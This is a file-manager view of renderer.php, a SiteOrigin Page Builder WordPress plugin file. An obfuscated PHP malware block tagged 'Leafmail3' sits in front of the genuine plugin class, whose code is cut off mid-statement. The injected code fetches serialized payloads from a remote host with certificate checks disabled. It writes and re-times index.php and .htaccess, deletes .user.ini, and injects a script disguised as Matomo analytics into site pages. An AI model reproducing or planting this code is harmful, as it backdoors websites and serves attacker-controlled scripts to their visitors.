trAvis - MANAGER
Edit File: renderer.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php class SiteOrigin_Panels_Renderer { private $inline_css; private $container; public function __construct() { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_styles' ), 1 ); $this->inline_css = null; } public static function single() { static $single; return empty( $single ) ? $single = new self() : $single; } /** * Add CSS that needs to go inline. */ public function add_inline_css( $post_id, $css ) { if ( is_null( $this->inline_css ) ) { // Initialize the inline CSS array and add actions to handle printing. $this->inline_css = array(); $css_output_set = false; $output_css = siteorigin_panels_setting( 'output-css-header' ); if ( is_admin() || SiteOrigin_Panels_Admin::is_block_editor() || $output_css == 'auto' ) { add_action( 'wp_head', array( $this, 'print_inline_css' ), 12 ); add_action( 'wp_footer', array( $this, 'print_inline_css' ) ); $css_output_set = true; } // The CSS can only be output in the header if the page is powered by the Classic Editor. // $post_id won't be a number if the current page is powered by the Block Editor. if ( ! $css_output_set && $output_css == 'header' && is_numeric( $post_id ) ) { add_action( 'wp_head', array( $this, 'print_inline_css' ), 12 ); $css_output_set = true; } if ( ! $css_output_set ) { add_action( 'wp_footer', array( $this, 'print_inline_css' ) ); } } $this->inline_css[ $post_id ] = $css; // Enqueue the front styles, if they haven't already been enqueued if ( ! wp_style_is( 'siteorigin-panels-front', 'enqueued' ) ) { wp_enqueue_style( 'siteorigin-panels-front' ); } } /** * Generate the CSS for the page layout. * * @return string */ public function generate_css( $post_id, $panels_data = false, $layout_data = false ) { // Exit if we don't have panels data if ( empty( $panels_data ) ) { $panels_data = get_post_meta( $post_id, 'panels_data', true ); $panels_data = apply_filters( 'siteorigin_panels_data', $panels_data, $post_id ); if ( empty( $panels_data ) ) { return ''; } } if ( empty( $layout_data ) ) { $layout_data = $this->get_panels_layout_data( $panels_data ); $layout_data = apply_filters( 'siteorigin_panels_layout_data', $layout_data, $post_id ); } if ( empty( $this->container ) ) { $this->container = SiteOrigin_Panels::container_settings(); } // Get some of the default settings $settings = siteorigin_panels_setting(); $panels_tablet_width = $settings['tablet-width']; $panels_mobile_width = $settings['mobile-width']; $panels_margin_bottom_last_row = $settings['margin-bottom-last-row']; $css = new SiteOrigin_Panels_Css_Builder(); $ci = 0; foreach ( $layout_data as $ri => $row ) { // Filter the bottom margin for this row with the arguments $panels_margin_bottom = apply_filters( 'siteorigin_panels_css_row_margin_bottom', $settings['margin-bottom'] . 'px', $row, $ri, $panels_data, $post_id ); $panels_mobile_margin_bottom = apply_filters( 'siteorigin_panels_css_row_mobile_margin_bottom', $settings['row-mobile-margin-bottom'] . 'px', $row, $ri, $panels_data, $post_id ); if ( SiteOrigin_Panels_Styles::single()->has_overlay( $row ) ) { $css->add_row_css( $post_id, $ri, array( '.panel-has-style > .panel-row-style', ), array( 'position' => 'relative', ) ); } if ( empty( $row['cells'] ) ) { continue; } // Let other themes and plugins change the gutter. $gutter = apply_filters( 'siteorigin_panels_css_row_gutter', $settings['margin-sides'] . 'px', $row, $ri, $panels_data ); preg_match( '/([0-9\.,]+)(.*)/', $gutter, $gutter_parts ); $cell_count = count( $row['cells'] ); // If the CSS Container Breaker is enabled, and this row is using it, // we need to remove the cell widths on mobile. $css_container_cutoff = $this->container['css_override'] && isset( $row['style']['row_stretch'] ) && $row['style']['row_stretch'] == 'full' ? ':' . ( $panels_mobile_width + 1 ) : 1920; if ( $this->container['css_override'] && ! $this->container['full_width'] && ! empty( $row['style'] ) && ! empty( $row['style']['row_stretch'] ) && ( $row['style']['row_stretch'] == 'full' || $row['style']['row_stretch'] == 'full-width-stretch' || $row['style']['row_stretch'] == 'full-stretched' || $row['style']['row_stretch'] == 'full-stretched-padded' ) ) { $this->container['full_width'] = true; } // Add the cell sizing foreach ( $row['cells'] as $ci => $cell ) { $weight = apply_filters( 'siteorigin_panels_css_cell_weight', $cell['weight'], $row, $ri, $cell, $ci - 1, $panels_data, $post_id ); $rounded_width = round( $weight * 100, 4 ) . '%'; $calc_width = 'calc(' . $rounded_width . ' - ( ' . ( 1 - $weight ) . ' * ' . $gutter . ' ) )'; // Add the width and ensure we have correct formatting for CSS. $css->add_cell_css( $post_id, $ri, $ci, '', array( 'width' => array( // For some locales PHP uses ',' for decimal separation. // This seems to happen when a plugin calls `setlocale(LC_ALL, 'de_DE');` or `setlocale(LC_NUMERIC, 'de_DE');` // This should prevent issues with column sizes in these cases. str_replace( ',', '.', $rounded_width ), str_replace( ',', '.', (int) $gutter ? $calc_width : '' ), // Exclude if there's a zero gutter ), ), $css_container_cutoff ); if ( SiteOrigin_Panels_Styles::single()->has_overlay( $cell ) ) { $css->add_cell_css( $post_id, $ri, $ci, '', array( 'position' => 'relative', ) ); } // Add in any widget specific CSS foreach ( $cell['widgets'] as $wi => $widget ) { $widget_style_data = ! empty( $widget['panels_info']['style'] ) ? $widget['panels_info']['style'] : array(); $widget_css = apply_filters( 'siteorigin_panels_css_widget_css', array(), $widget_style_data, $row, $ri, $cell, $ci - 1, $widget, $wi, $panels_data, $post_id ); $css->add_widget_css( $post_id, $ri, $ci, $wi, '', $widget_css, 1920, true ); $panels_tablet_widget_tablet_margin = apply_filters( 'siteorigin_panels_css_tablet_mobile_margin', ! empty( $widget['panels_info']['style']['tablet_margin'] ) ? $widget['panels_info']['style']['tablet_margin'] : false, $widget, $wi, $panels_data, $post_id ); if ( ! empty( $panels_tablet_widget_tablet_margin ) ) { $css->add_widget_css( $post_id, $ri, $ci, $wi, '', array( 'margin' => $panels_tablet_widget_tablet_margin . ( siteorigin_panels_setting( 'inline-styles' ) ? ' !important' : '' ), ), $panels_tablet_width . ':' . ( $panels_mobile_width + 1 ), true ); } $panels_mobile_widget_mobile_margin = apply_filters( 'siteorigin_panels_css_widget_mobile_margin', ! empty( $widget['panels_info']['style']['mobile_margin'] ) ? $widget['panels_info']['style']['mobile_margin'] : false, $widget, $wi, $panels_data, $post_id ); if ( empty( $panels_mobile_widget_mobile_margin ) && ! empty( 